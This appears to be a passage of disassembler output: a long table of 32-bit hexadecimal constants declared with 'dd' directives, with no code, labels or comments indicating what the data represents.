		dd 2052413Bh, 7F703E3Dh, 9E04D1B2h, 0C51EAC73h,	996906B8h
		dd 85381864h, 291114C0h, 4A924BDAh, 0FAFF084h, 6776ACBBh
		dd 830393BEh, 44074E18h, 36AF750Ch, 5513E3C2h, 57022DC4h
		dd 0B1319BBFh, 0F481753Bh, 0C6731516h, 56CE8E7Dh, 0C102EFE9h
		dd 0CCBE5A1h, 29E2B07Eh, 4D7AC1CFh, 5B51D38Fh, 23004B09h
		dd 499B3488h, 0CC042F90h, 554A1015h, 338BAAh, 4B62424Ch
		dd 2CB116BDh, 18D17829h, 0CE88240Ch, 0C17B70E5h, 0E8C01841h
		dd 0D9595A66h, 0EA24540Bh, 0E8E731BCh, 0FB4BD316h, 0F7FAC25Ch
		dd 5709924Eh, 75C0E1E9h, 64B4CB79h, 0E992DCEFh,	4D671737h
		dd 0F7390D67h, 789F44E4h, 14F95B67h, 7C0A43FEh,	9957B4Bh
		dd 98F5E334h, 0A85A8179h, 25685944h, 0B0DC11E1h, 6853D772h
		dd 0C1CC5649h, 8976F768h, 0B01753ABh, 0BDEE9D65h, 591C2466h
		dd 40A5CD09h, 641A6883h, 0A47C3B5Ch, 0D5BF6EBh,	31419BA5h
		dd 0B62F1640h, 0AB4C685Ah, 9D5FC03Eh, 5D28B25Fh, 0A4870409h
		dd 76A51965h, 625AC2F8h, 561B60F5h, 43CD35Eh, 0FA3BE5CAh
		dd 58145E31h, 0D2D1F19Fh, 0F7E2BAB0h, 760B3D0Fh, 127D4F64h
		dd 0AA803849h, 52921248h, 0C9FCB6FAh, 0BA800056h, 9F2CC13Fh
		dd 4DD6750Bh, 9D3DC600h, 6960E972h, 9282528Ch, 987FABA1h
		dd 0B7AD7770h, 4CF65D4Eh, 880EB7B4h, 0A79E4F5h,	0E896DAE8h
		dd 57776ACh, 0EDB21D62h, 13560F91h, 158EB802h, 86DEF258h
		dd 95454B12h, 6BF9BE60h, 0C499E30h, 404275CDh, 1C32DE1Dh
		dd 7782422Fh, 772F567Ch, 7F124FB9h, 0F8309604h,	9711B2A9h
		dd 0DF4427E5h, 5E83EE92h, 310E0FEAh, 0C5C480E7h, 8EEFD4F6h
		dd 38A911DCh, 0E5FDA05Ah, 592CEEE4h, 0F8127A52h, 7D913EAh
		dd 0E5515A7Fh, 0A729ECF1h, 801CCAF6h, 0BD2CA8FAh, 4A40B5A2h
		dd 4CE81EFFh, 20041CF5h, 0E17FE958h, 0F4137886h, 943A97BAh
		dd 0E14F0FCDh, 732C7BF7h, 62A9012Ah, 2E59D342h,	5D1B9A87h
		dd 4EF49CC4h, 920975BAh, 0F5B9C1BCh, 20C58F7Ah,	0B44556ABh
		dd 0E3320C57h, 37FA7D66h, 0F51B4A6Bh, 68170DCEh, 1D612864h
		dd 0B90C6A17h, 577F1200h, 6EE94965h, 8C6E96A5h,	90D96DFh
		dd 685EF704h, 0B310B4h,	9B409C0Bh, 93EBE282h, 82D4B103h
		dd 6374E1CBh, 5EA50304h, 45C34137h, 4820E5B8h, 413D992Fh
		dd 0B63BFA6Fh, 704A79FAh, 0E6889005h, 0A2F5DB0Eh, 555A59EBh
		dd 30CC3A54h, 0A6B27D68h, 0B7FEBDF6h, 0CA6062FAh, 865D6064h
		dd 43490F23h, 1DA4F921h, 0B40A453h, 0EF52F682h,	0DB8B5CA6h
		dd 2C51E507h, 5AB20AEEh, 8EF17F27h, 6234F1CBh, 10290A68h
		dd 2F5AF7A0h, 67C03D22h, 0C698F45Fh, 3309C701h,	13E91160h
		dd 0C374D16Bh, 0EFFB6058h, 50F24A48h, 79B7E80Eh, 0BDFA5FCh
		dd 0F673A198h, 5DF67A6Eh, 0C81B1EEh, 4B6F285Bh,	68D402FEh
		dd 67D646DCh, 48EF75C1h, 0C5549C20h, 0F901586Ch, 17124845h
		dd 92ED0683h, 6F33B5D3h, 7A48A9CFh, 0C9D29D26h,	3F5E1791h
		dd 984E449Eh, 7D4AE960h, 0B9FAC993h, 333E8032h,	0F0D15139h
		dd 0DD656B25h, 5E191087h, 0FB6865ABh, 603EEFE1h, 3E26E94Bh
		dd 208DC69Dh, 812DE66Fh, 0A063F2EDh, 0C507F093h, 37B1275Dh
		dd 0D70583CAh, 0C5D1024h, 0F3A728ACh, 0F98F4773h, 84C52751h
		dd 106057E1h, 98344940h, 9F95C83Eh, 0A77832Dh, 194F7905h
		dd 5C84168Fh, 22F6E5C7h, 0A0A8B9E5h, 8A0E4083h,	0EC4C00FCh
		dd 4E89F7DAh, 2FA5E3E9h, 22CE4429h, 0F107E15Ch,	0A9F8BD1Eh
		dd 24406B3h, 1A15BA16h,	12C16C0Eh, 0C4646CA0h, 0D3E84383h
		dd 2C2E68C2h, 0B0B3C7D7h, 31DE687Eh, 0EE02659Bh, 777F0D5Bh
		dd 27D3D780h, 0F5A165D6h, 0D3123BC0h, 8A4A7E8Ah, 0B868092Fh
		dd 0CAC6F601h, 7A453BA9h, 0AC5AB42Bh, 68D1B246h, 5C3ABD09h
		dd 2B7A07E6h, 883F616h,	0DF252389h, 67FD81BAh, 9560CFFh
		dd 640B2D30h, 5778924Ch, 37011D8Fh, 901AB57Bh, 0F058D164h
		dd 0A6CC304h, 270BC28h,	866E65CAh, 2C49F538h, 0C9713182h
		dd 2D382E29h, 77D6B75Ch, 0D7F6E05Bh, 6DD99030h,	460D0632h
		dd 894AA372h, 0C7C445BDh, 0C5EDA958h, 16BF6AE9h, 0B182A801h
		dd 5FFA690Bh, 0A5EF5FDCh
		dd 4BFA4C20h, 0E6046663h, 29CF9213h, 75F70BFFh,	2A58C661h
		dd 6801A9BCh, 78185B51h, 8F2EB5Ah, 20EA8BA7h, 0D1079F0Bh
		dd 30AB31F7h, 637E03DBh, 1525EE00h, 0E946556Bh,	64746F9Dh
		dd 6F3F2741h, 3C44E81Bh, 0BBB8249Fh, 135AFDEEh,	69BB02C5h
		dd 31AF2B7Ch, 86BE1h, 9055D5Ah,	0BBB79DFh, 0B951E100h
		dd 9F2443A2h, 7D01B202h, 2909243Ah, 5D71D5FAh, 0E94B384Bh
		dd 13FABCFDh, 0DF45BC41h, 693FD70Bh, 2828CD5Ch,	6285B800h
		dd 0B9252335h, 1E90271Fh, 124172CEh, 166BCBFAh,	8AF39232h
		dd 2144BD00h, 78DD0503h, 2D53F11Ch, 29FD84BBh, 0C1FAE8C1h
		dd 2697BFF3h, 0D2C1B82h, 5D42D62h, 80D0E3A9h, 0F031C205h
		dd 0E600816Ah, 0E9187E35h, 0E8604FA9h, 0AAF7C60Fh, 5DB03C10h
		dd 712C0C00h, 3402E8C0h, 4E243272h, 752D3F88h, 0C05B5AA1h
		dd 0F9E330EFh, 2561040h, 0C8214068h, 88FD5E19h,	49425360h
		dd 0B458FBB5h, 4C10042Eh, 0C601010Dh, 0C87FBD55h, 0B9731F2h
		dd 7AA005A8h, 1ED66698h, 149986Fh, 0A9ECE9D3h, 79AF2FFFh
		dd 0CE617A42h, 0AF2B7B4Dh, 57642B44h, 96308EF3h, 0F08659DDh
		dd 8D6F635h, 0B09660F2h, 2D4EE998h, 42BF3500h, 0F4083E7Fh
		dd 2A029E7Eh, 19E0A530h, 223650h, 4A646858h, 0CA11304Bh
		dd 0F7E42826h, 0E3C1D312h, 56733E05h, 0E9FB6CAEh, 0B6C96D2Ah
		dd 72EAEB03h, 1C012627h, 273DFEA2h, 0D24C13FDh,	57B8C938h
		dd 0B6D45D9h, 0A093FB3Eh, 2ADB3014h, 0EFEC2223h, 204D4409h
		dd 8103DA47h, 0AD7B5908h, 17E9C512h, 0AC3EAAA1h, 87CF9FD4h
		dd 0A0E21261h, 0A9673D16h, 7BAF8930h, 501C9708h, 6308540h
		dd 950A44DEh, 0AEE8F05Fh, 3EBF5700h, 0E92D4E77h, 6E92115Bh
		dd 0F66A55C7h, 765D79C2h, 50255CCBh, 0B5D3057h,	345D82E0h
		dd 0FEDC845Ah, 90FC4802h, 27B3DB16h, 0AC68F027h, 0D226F757h
		dd 5C0F9D4Ah, 0C096C6Ah, 0D9663C0Eh, 0B7E2E59h,	0A5F5BCBAh
		dd 0E99CB67Eh, 0F763A67Bh, 0EA9690C9h, 0C9778205h, 9575D388h
		dd 8799E07Eh, 0FB0F3F60h, 1FA46850h, 52376552h,	0B0824CBh
		dd 415DEFE5h, 0FC7B59DCh, 0B1F09B93h, 9CB4D787h, 6284AA08h
		dd 9E1B60AAh, 4D5B1672h, 0E2016585h, 0C42129Dh,	4E6B06Ah
		dd 0A6A86F4Ah, 8121C3F1h, 1DB3536Ah, 0C0FDEB80h, 0A2EEF345h
		dd 58C3139Ch, 0C67E901h, 0EE0059C4h, 7A76DC16h,	7778C97Dh
		dd 0D9877203h, 9FFC383h, 2621E90Ah, 0EA8FB0FFh,	0FFDB9574h
		dd 51E8153Dh, 0C83016F4h, 0FB4B78B7h, 447AD639h, 1421B6F7h
		dd 9C387773h, 2AAA4E0Ch, 4AFE5C1Dh, 51F45EEEh, 491E4CC2h
		dd 0CC800EA2h, 0F1F460FCh, 0FC58E128h, 56748BDh, 23914BD7h
		dd 27CA88A8h, 0CB805A96h, 68143AF7h, 308D4D5Ah,	0E1BE301Bh
		dd 35F3246Ch, 3324190Ah, 545CDDE0h, 1840EF86h, 295A5BDDh
		dd 98595BCDh, 5E419A5Bh, 5C65E530h, 0FB97FE91h,	7F5BD3C3h
		dd 4F3D3031h, 41A0EA1Fh, 0D405A625h, 47034382h,	0E5E31E49h
		dd 308CA700h, 27E92189h, 0DF6545A2h, 7A88A9A5h,	95577FDBh
		dd 5212235Bh, 7BA096D4h, 0DE0E4148h, 75F28640h,	0BD40CABEh
		dd 0A7C3FB2h, 0B6F5810Fh, 0CFEE1D06h, 1AE0B13h,	0A8DAE9C3h
		dd 7C5D3624h, 1979802Dh, 904CAF1Eh, 52A05AE1h, 1F87AE9Ah
		dd 8CFFA3B4h, 0CA9D3130h, 538FDF10h, 44111F32h,	0B8E4CF74h
		dd 0F789167Bh, 5CD75422h, 3ED52D9Dh, 7E649D4Ch,	0EBF8C604h
		dd 0ACAF292Dh, 6257A210h, 6F0F5A6h, 0A702DF9Dh,	43625A5Fh
		dd 2BD51AABh, 24E35D99h, 47080C04h, 0FDBF7B57h,	1F53176Dh
		dd 5192B297h, 0E58D6A0h, 774B435Dh, 0C29C20F7h,	0BE7F8D8Ah
		dd 70032885h, 68F49F4Fh, 0C06E8AE3h, 9DD8F70Dh,	7A0C9DCCh
		dd 5242D027h, 2B0C25E9h, 0C10C9172h, 684E8075h,	30F9EB39h
		dd 0A7F5847Ah, 14BD5216h, 0D2C812D6h, 0F02938F6h, 36BD0EBCh
		dd 0F1CAEB12h, 75B2EF00h, 68E90254h, 0D32DF296h, 0EED262CBh
		dd 251B14F5h, 467733AFh, 22517BC2h, 0F695626Bh,	0FBCD89BDh
		dd 530B357Ah, 0FD48C057h, 78147449h, 6B882413h,	0A74C440Ch
		dd 5D5697C7h, 7F2FEC20h, 2DB1C549h, 0AB56BBA4h,	2C4CD6E3h
		dd 0BBB9D113h, 0BB408CCBh, 0E32510F4h, 171D0108h, 0F1291CEEh
		dd 0B0AB5A44h, 9EBC31A6h, 2ACCC5AEh, 0FE71208h,	5ECD095Fh
		dd 27215B57h, 67894EFBh, 203A4602h, 293F04CFh, 54669AF5h
		dd 9CF6C10Fh, 573EA328h, 0DCC86D93h, 0C0B69B6Ch, 8414C381h
		dd 46213266h, 9E4BC6Eh,	532E0FE9h, 94F5AF9Dh, 0E7E927A0h
		dd 7EB614F8h, 4B3EE9D8h, 0BCE4D0AFh, 0A5BC319h,	0A339C2C0h
		dd 0BFBD4D02h, 395ECE67h, 0BBE92E81h, 8C266A9Fh, 77086346h
		dd 1A5B01E0h, 6852B160h, 0E31D4F7Bh, 0A2BB277Ch, 0CCA2A5B9h
		dd 0B50C402Bh, 2A684840h, 121D508Ah, 0E8B275B4h, 76E32580h
		dd 6DFCE92Fh, 58D5E9E7h, 68D953D0h, 0F9495DB5h,	0FB2C2284h
		dd 0E181D570h, 7D16130Fh, 7592C043h, 517D721Dh,	0AADFF2A2h
		dd 2939609Ah, 599EFFCAh, 4868DD4Bh, 279E9231h, 0F278EAF9h
		dd 5E96F120h, 9217EFBFh, 0AA17C5h, 0E95057E3h, 0F9BFCE61h
		dd 0E168ADA2h, 2EFD6A68h, 95E99460h, 212EC356h,	40105EF7h
		dd 0E85A7A3Bh, 1DFA5F2Ah, 8BFD6F89h, 0E71E7593h, 463AAA2Dh
		dd 0F2304F7Bh, 4AF8D1F9h, 8C6C4629h, 7AE5B38Dh,	44EE2CC8h
		dd 2FFCC6D6h, 92117F3Dh, 0CDDCCB88h, 67FDA887h,	0FE8982F4h
		dd 5D6712F7h, 0E9623ED4h, 2D0FDC0Bh, 8E202DE4h,	0F660B557h
		dd 707563B5h, 7C2A01BDh, 0FF20C704h, 4BD304F7h,	0EE340AE9h
		dd 41F69D2Ch, 13CE609Dh, 53A2926h, 1628BF0Dh, 0F8D2C662h
		dd 2FA786BDh, 6BB4EC93h, 0FFD40C15h, 0A1EB996Bh, 261951A8h
		dd 68333C73h, 2C3D1C9Ah, 707B4060h, 1A983578h, 62EA972Eh
		dd 1A7AFE40h, 0BD1FF696h, 26878D90h, 74A092Ch, 0C5B13300h
		dd 4EE4E942h, 6ACEB413h, 0A53DC6BEh, 2CF1E058h,	2DA2A467h
		dd 847A1804h, 37297EA0h, 8710DD1Eh, 1308FE2Dh, 0F689E040h
		dd 6866D604h, 57882A71h, 20B81FB7h, 0B6D62DFEh,	0B0BA5613h
		dd 0E9E6DA0Eh, 0CE306C1Bh, 73E0C47Ch, 0B8D76001h, 4F5D17F7h
		dd 119AC895h, 7D5D23Dh,	19F5C28Bh, 0DFA2A957h, 2C164AEDh
		dd 0E7096A53h, 0BE35DE62h, 0B4092725h, 211335DCh, 12C7A2ABh
		dd 47F2024Fh, 0CD3D7F84h, 1A59432Fh, 7FD3F927h,	809B24C1h
		dd 0DC281106h, 60B4505Bh, 854F8B2h, 0C4FE59CCh,	0BCE9A10Dh
		dd 0DDC14C8Fh, 9F66AEDCh, 5869E2E5h, 934597C3h,	259CA09h
		dd 0B3078F6h, 25A8BB5Dh, 0BCD2F1EEh, 46904078h,	0BA1FFE79h
		dd 1CC470CBh, 2380EAD1h, 7610331Eh, 41CA0525h, 0ED5B4752h
		dd 0D74B1EACh, 27707E25h, 0D0E10B77h, 57122010h, 76ECBE04h
		dd 0F4FB3585h, 30178C22h, 15F55BF6h, 0B40F228h,	16564EE9h
		dd 6DBC68h, 10F335D1h, 0F24AF781h, 0E9180908h, 59570E21h
		dd 5E54000Ah, 19F9BA52h, 0E96B8F06h, 0F522AC75h, 57FFE86Eh
		dd 9F9E10B0h, 3A0BF03h,	62024D39h, 3E557EB6h, 0DB25E031h
		dd 724082FBh, 0F813EAF2h, 3BB5E49h, 398F68D9h, 556F4D2Ch
		dd 0D834F6BDh, 0FDFABF43h, 7E680942h, 2F0B516Eh, 0B6B46DD1h
		dd 0EB4395EEh, 0DCACC333h, 8913A114h, 0AB9521h,	0C180FC1Fh
		dd 0CC5988D9h, 0F4C59E4Ch, 14BB3096h, 0B73B3DACh, 5A79D8A2h
		dd 64C0E45Fh, 0BDF6E788h, 7C64A0Ah, 65E9C4FEh, 269A4120h
		dd 822C9125h, 0CC385EF8h, 0B3D8DF31h, 122D5500h, 0E9DA091Ah
		dd 87AAA9C9h, 0FB88A03Bh
		dd 2480AE40h, 1E43D6C2h, 4C5F65FDh, 0E0A9553Dh,	40D2292Ah
		dd 0C06E511h, 5E321448h, 67E854D4h, 0BE49F10h, 324F7D68h
		dd 7FEC8BD4h, 5A7CFFB3h, 0F22A1D24h, 54BB4EB4h,	0B44B6DAEh
		dd 3159E9BAh, 0EFD113C9h, 0BF8222C5h, 0EBDA5CEAh, 7E015711h
		dd 1553452Ch, 6C38D2E9h, 9F3A2E78h, 35F253E2h, 0A1AEBA05h
		dd 88804446h, 8334E970h, 65FC20FDh, 2F312A07h, 5EF33261h
		dd 7705B6E8h, 39737913h, 7A410BFh, 0B15CE917h, 6C6A345Fh
		dd 654893FAh, 2F7904D0h, 46BF6EDDh, 913FA26Bh, 0F1D7F82Fh
		dd 0F5687803h, 362590BBh, 9FFE95EEh, 57190A62h,	0FE838EF6h
		dd 93C130C9h, 0EB084FC8h, 0AA772B04h, 16C0BD00h, 1B515B8h
		dd 0C511F16Ch, 6D51017Ah, 2179E04Ch, 0D117D846h, 0DA21410Ch
		dd 2EA8A5Bh, 0E94613F1h, 0E956E04Dh, 0EC06908Eh, 13D44C62h
		dd 80C7129h, 0D725FB9Fh, 567F36CEh, 910C494Bh, 4F549A50h
		dd 2EB2DDD8h, 10846AB3h, 9AE3AE17h, 4ACB5D50h, 2D9DEB87h
		dd 2F7FA06Ch, 7E195A72h, 4EBF2F5Fh, 0A857AA46h,	3FA4C40Ah
		dd 7E0BDDABh, 0F58BA117h, 0F6ACE93Ah, 59FDA02Eh, 0B75E9228h
		dd 7CA5E7Ah, 6748C010h,	381874Ah, 0F77BFEFCh, 4A93488Ch
		dd 0C6BBEDC0h, 47643E51h, 0FC55C7D0h, 1EC2BA63h, 4F3D7835h
		dd 0B1F054Bh, 0FBD634B5h, 253D712Eh, 0C06F9230h, 1205E2B9h
		dd 14E125Eh, 8118B2Ah, 50BA558Ch, 953AD2BEh, 0B30E2C40h
		dd 0E27EB80h, 0DEBABCC3h, 418D3EA0h, 0B643417Bh, 3EF3C1CAh
		dd 2BA70E17h, 80C5E917h, 26F1B874h, 25526200h, 538745EAh
		dd 7905E240h, 4C1E012Bh, 0F15EF62Dh, 49AE3AC0h,	0A2C55832h
		dd 3FDDC88h, 2D227B68h,	0EF37C1EDh, 3446FB6h, 0AA12CF19h
		dd 167E2CCDh, 2274AA8Fh, 0A2FBD452h, 541CB1FFh,	447532E2h
		dd 2019793h, 0E0F8295Dh, 41DF31D9h, 74538C92h, 2F7ED38Ah
		dd 4C1E3517h, 55346827h, 5D24AAE6h, 0F281F9C0h,	0C2B3539Ch
		dd 0D041CBD9h, 0D34392E3h, 2383850Dh, 38BBCC67h, 7CB52D9Dh
		dd 0F0010C97h, 659D3C56h, 92116ABh, 9EF65554h, 0E836AB02h
		dd 0EAF66Ah, 1E8325BDh,	32E4E98Dh, 0E408309Ah, 8279842Dh
		dd 6E86318Ah, 53C0C74h,	0ACC98D09h, 0D81252D4h,	72AAE384h
		dd 9915A85h, 777E7029h,	4D528A4Ah, 0D36F5EEAh, 0BF4BC084h
		dd 0DF1AEED5h, 0DF9E01FBh, 749762DAh, 4812FB60h, 3FF3C5D9h
		dd 0BA647416h, 0F7B71A62h, 702CA415h, 0E0987525h, 0F8B7F589h
		dd 45E5EDBh, 0AA4F29EEh, 352F26B2h, 0F13D3C52h,	72369363h
		dd 0C213FDFCh, 388EFFA9h, 7FA10825h, 62FEF9E3h,	934BDF34h
		dd 4365554Bh, 0B72498ADh, 0EFC017D6h, 0CA820B04h, 30C92507h
		dd 0CF28A0C7h, 2E4CD298h, 3BDB818Dh, 91EC2338h,	704CBD39h
		dd 81459E51h, 1E34BB58h, 81F563D6h, 502F4F3Ch, 0DAD8FD74h
		dd 32EA9226h, 5422652Dh, 2A55B869h, 302A29FEh, 7734FBBh
		dd 8822F92h, 0BBFE3157h, 74F6E0DFh, 470220E9h, 0ADD048EAh
		dd 1D3C0799h, 0CE613ACBh, 1CDD0FABh, 1662EEF0h,	0BF605840h
		dd 701A8204h, 0C0425B05h, 0FE05E0E0h, 20372E7Dh, 0C1D74CFDh
		dd 0E5AA07B5h, 0E22DCC20h, 0DAF49F09h, 4BAD8757h, 0BE6C19Ch
		dd 4D026521h, 726B9054h, 5C61FDDh, 8927F945h, 0E9C26A7Eh
		dd 139D5CE5h, 62EBA621h, 0D8E0E979h, 0CB5EBF87h, 0F6B2775Ah
		dd 53DCC77h, 0BF5FD268h, 0F7DC8041h, 0AC28111Bh, 0C412BD7Bh
		dd 0A8169F13h, 8BDDE11Dh, 0BA7DE25h, 336023E9h,	0CD5BC980h
		dd 3C73BCBCh, 12FF03E1h, 0B34F682Fh, 0FCB23BE7h, 143E0133h
		dd 0E0D88258h, 990A2B9Fh, 0CEB59876h, 5B813438h, 0C77EF4D9h
		dd 5C748BE1h, 0E76858E0h, 0CDD59E70h, 87283ADFh, 8F5A56D6h
		dd 1F5BF740h, 0D44D8E18h, 841C0C6h, 847F352Fh, 0B163BCD8h
		dd 616A7EE9h, 36EAB2F8h, 6ABD1120h, 3E684E62h, 0A1AB88AFh
		dd 0D8B05DF0h, 75325878h, 0F5281061h, 5AA98D60h, 0FCE4E7FCh
		dd 59D6F9FEh, 2C5312AFh, 0FC27E96Eh, 0F599BA33h, 1168F1C8h
		dd 4CB13253h, 40602E4Dh, 0F7A65C99h, 96880CB7h,	0C678B3A8h
		dd 6B52BFA1h, 8BEAE516h, 0DDE9093Ah, 9992FD1Ch,	7E3236C0h
		dd 0C34F6024h, 701CD01Dh, 0C7F3007Eh, 1A42604h,	685AC4DAh
		dd 9F69AC6Fh, 299EBAC1h, 0A87A8976h, 53E44F79h,	15872FE9h
		dd 51E02176h, 996A9C68h, 13ABA62Bh, 71C9E33Ah, 77445E1Fh
		dd 1A2BD34Ch, 0EEA1A15Fh, 564EB42Bh, 200A589Fh,	0D5929BE8h
		dd 1368590Bh, 2A9CD537h, 0C0299Dh, 913F0FABh, 565A0517h
		dd 0A9312968h, 290325F9h, 0C5E25DE3h, 5F9D6277h, 289B2118h
		dd 0FECB3080h, 1F1B68B3h, 0E4BF0191h, 216C8316h, 39F22BB9h
		dd 448EFAC9h, 697F2157h, 0A8A80516h, 0C7248005h, 5B96A8D1h
		dd 0AFB52CECh, 87EAB153h, 53E941EFh, 7845A53Eh,	0C2909D0h
		dd 0C070AFF1h, 121C215Ch, 0E8CF2541h, 1777680Eh, 1DCBFB17h
		dd 5FAAE64Eh, 71E9FBC8h, 0EA2BEFF8h, 1703B521h,	0F6670B0Ah
		dd 68DBE8FEh, 0CB0B4F62h, 4A18587Eh, 0D1E293BBh, 734911BAh
		dd 30A62180h, 53BF877Bh, 18FC2DCDh, 7670369h, 0DE9C9A53h
		dd 74B90012h, 0F70C1438h, 0BDCD158h, 2EBC78Fh, 0FA865413h
		dd 75160C25h, 850C3895h, 4477314h, 936302A4h, 0F789BF5Ch
		dd 0BD8150E5h, 8277A366h, 6F9C17Fh, 0F501DC9Ch,	8817AB0h
		dd 5776E2E9h, 93EE8000h, 0EFED6F6h, 4E6C0C6h, 0E907857Eh
		dd 0BFA9952Ah, 1779F8F0h, 541CB86Ah, 2305D1ECh,	0E8095B50h
		dd 0F6B051F1h, 8E685568h, 508C5A4Eh, 616C0E33h,	0AAA9E94Eh
		dd 0D30948FBh, 2DA76611h, 8A27CB7h, 1EDF583Fh, 8013FCFCh
		dd 6C120ABFh, 66041CE4h, 0CDEA585Fh, 0E95050D8h, 7D97B118h
		dd 0C85F1A32h, 1BCBAA9h, 0B93DA11Ah, 0F6882CCBh, 0F08E4E5Dh
		dd 90E916F9h, 0C721FE54h, 0A93EC507h, 860592F1h, 5DB20CEAh
		dd 9DF0C13Ch, 6C18437Eh, 4D2068B7h, 968EBF73h, 0A2662510h
		dd 9F513F0h, 0FEA8A9C9h, 0E492EE55h, 6C1ED4D3h,	75F4FB10h
		dd 10BF662h, 7965FE8h, 58989180h, 56E1000h, 54DF2316h
		dd 2DE82829h, 565D0407h, 0EA7B33BEh, 2510181Fh,	0C940481Dh
		dd 6D7402A5h, 53459BC2h, 0C1551395h, 50D9F22h, 0C1D149B0h
		dd 0CD4E997Eh, 5A0C8473h, 42C29F0Ah, 5A7658BAh,	1E3AD85Bh
		dd 0C45C8140h, 4E8A350h, 0B3EA5854h, 0B5A84BFh,	59CA3102h
		dd 7FC3BA77h, 6ABFD102h, 0A380A554h, 9776C7Fh, 475B30DFh
		dd 4E79E414h, 263444Dh,	1E3B43F3h, 0C5C3FF69h, 0E999EB9Bh
		dd 5B2F2CC4h, 0F7139C16h, 0CF120AA8h, 55E82078h, 51508C2Dh
		dd 590F4D25h, 4DE989B7h, 0D4D9F3E1h, 2D744BAFh,	1CC15527h
		dd 87B82E57h, 8B56DEA1h, 715C69C7h, 7EE68049h, 0FC686A94h
		dd 21EA7C0Bh, 830AF75Eh, 4F1A03E4h, 3A2C2978h, 73AD8896h
		dd 0C2E4EEBDh, 0E9709002h, 0D9C0FE85h, 6D1673EAh, 0BB49666h
		dd 0B77C9DFAh, 7256C62h, 13CE24Fh, 87D5F700h, 0BDEFFEEEh
		dd 0EF354F05h, 2F6851E0h, 14FC02DAh, 62BA50h, 0CD817DEEh
		dd 616056C9h, 9136998h,	77021189h, 0D05ECFC7h, 28CCECB3h
		dd 27A9BF0Ch, 5D76EF2Ch, 4E166858h, 0D08E314Eh,	5903EAh
		dd 3D185672h, 0D8F58172h, 545E407Bh, 0AA9770B8h, 0B6521A00h
		dd 4CC6805Eh, 7BA572h, 45AF030h, 42C1E991h, 5C2F9093h
		dd 7CF6AF67h, 77DC7752h, 496BDD51h, 0C065C58Ah,	5C0B4FA8h
		dd 85587F7Dh, 19A40CA4h, 81C027E9h, 2088B048h, 893F20B9h
		dd 8939ED11h, 8BA8893h
		dd 56CD6809h, 0D2BA897Fh, 7F6BCCF4h, 7A5BFDE1h,	803D4CE6h
		dd 0E2AA33E2h, 60089008h, 5AD013Fh, 0CAF72B2Ah,	859B7E55h
		dd 906ECAE9h, 28C3F63Ch, 13C3F34Ch, 12903D09h, 5F6B7BC8h
		dd 4A05FF74h, 34BF8D5Dh, 310F37Ah, 0D64E29B9h, 1928383Ch
		dd 77DDFB4Bh, 94618DF4h, 0E462B110h, 3EB6D1D3h,	413758F0h
		dd 112A889Bh, 0F389092Dh, 6B43BE49h, 0C707F3E9h, 0B460DB41h
		dd 0AB7ED570h, 384A01CAh, 6812599Ch, 2A8C2012h,	3C6909ECh
		dd 0DAD55176h, 0A45F5A84h, 0D4691490h, 95038179h, 0C26A8AB4h
		dd 49DC05D7h, 11CC96BEh, 0FE2E399Dh, 14F70244h,	0A6D11B0Ah
		dd 0B364019Fh, 65296054h, 26A1CCE3h, 0C7BD230h,	4C12F858h
		dd 0E91F9702h, 5D38B287h, 70A707Dh, 1EC6C30h, 6F172668h
		dd 0E4953D98h, 8A515BC7h, 7BB004D1h, 1FECC188h,	5E1C0A0h
		dd 0E9C9FE1Fh, 0F6BA002Dh, 2B050DDh, 58C53096h,	83DEE828h
		dd 211A088h, 7470F0B9h,	2BBCE0F7h, 35EA2F38h, 0AAAC0475h
		dd 0F8EB0694h, 0A4CFF12Dh, 69D6412Bh, 0EC587A6Ch, 59979578h
		dd 0F9C4CF1Fh, 0DC9CE55Eh, 0ECB6B3Dh, 22E18049h, 9048C913h
		dd 3F5EDE5Ah, 49A43E41h, 70D5E78Ch, 12030699h, 61EE2EB9h
		dd 2EF78DBBh, 9E9489F3h, 0F4901A84h, 84127DC9h,	0F61EFD33h
		dd 0F4FD4CE7h, 0D09FCC8Ch, 5361AD0Eh, 0AB44C339h, 5AE53FE1h
		dd 0C11CA82Ah, 89AEB8C2h, 0F235D0D2h, 57D702EEh, 0CE014E60h
		dd 76746C40h, 0BA28BF28h, 0A0E1630Fh, 3FD0C825h, 558ADC58h
		dd 5B2010D4h, 794865ACh, 0AB1ADA07h, 0B75E22Dh,	30659AFh
		dd 519F104Ah, 704ECCCCh, 37E8465Ah, 4ACA68E3h, 0DB643A54h
		dd 0DAAB9C94h, 0E1944A27h, 13528EEBh, 1EF25FF8h, 0B8C06652h
		dd 5ED46F9Fh, 3F8EE91Ah, 8722D7F5h, 5101ED31h, 0CB7C4668h
		dd 0BD8D12DEh, 0FB8009E8h, 0A186CCFEh, 77EAF5D3h, 65C5D1F6h
		dd 2CBF0494h, 0CA39FEB0h, 0D71E2580h, 40E85EC8h, 9530612Ch
		dd 97637E03h, 380C0042h, 53646527h, 0B39D62E9h,	0C05A4B48h
		dd 8D31C393h, 2815415Ch, 0ECDE07F3h, 0D2894F5Ah, 0EFC5221Eh
		dd 0CD38D1B5h, 0A0CA7E5Ch, 4E304610h, 3A4842F8h, 0C7B21707h
		dd 0AABEEAFh, 71658C5Eh, 0CE4830A8h, 0E91B3513h, 0C4FFD314h
		dd 8E74FE78h, 9E01DDFCh, 59134F45h, 0C3716153h,	0CC5F5FCAh
		dd 3D1AA9D3h, 5C502DEBh, 0CA0B046h, 0C5124EF1h,	42B44F41h
		dd 91365FE5h, 9710B008h, 8EFDEA95h, 0C26A4842h,	45C3476Eh
		dd 0B1E4FA43h, 8B3D17D9h, 4C83ED12h, 3FFF2EC6h,	108FD42Fh
		dd 70B04F20h, 0ECD8E0D2h, 0D504395Bh, 98DD7525h, 809E1814h
		dd 1F4BDE68h, 0C521A531h, 0A1B1E804h, 0B1059612h, 0C4B02F30h
		dd 700B9D97h, 7CAFF9DBh, 0C6B8786Eh, 3FD31902h,	0BE53EE9h
		dd 0DC25B85Eh, 0BF587A48h, 75D2D949h, 22EEA324h, 34C80939h
		dd 0C1F0D5B8h, 0E897232Fh, 0D25EF57Ch, 0B37C0106h, 0E6597361h
		dd 25C447DFh, 971747D1h, 0B8738CEBh, 0F547753Eh, 283F0502h
		dd 81352915h, 484FA8C1h, 111D3D8h, 1705499Eh, 31803293h
		dd 9DAAF87h, 0A09CD784h, 3CFF555Fh, 0E93E5C39h,	0E6315A0Eh
		dd 5003FDE6h, 7B1B2AF1h, 0B3161CF7h, 0D0140AE2h, 17FB24FAh
		dd 0D888E61Fh, 967CE96Bh, 8B792D1Dh, 8027F258h,	1F1EDC2Dh
		dd 0BF8918F7h, 0C606FEABh, 0EAFC278Dh, 313B429Ah, 9FBE93D7h
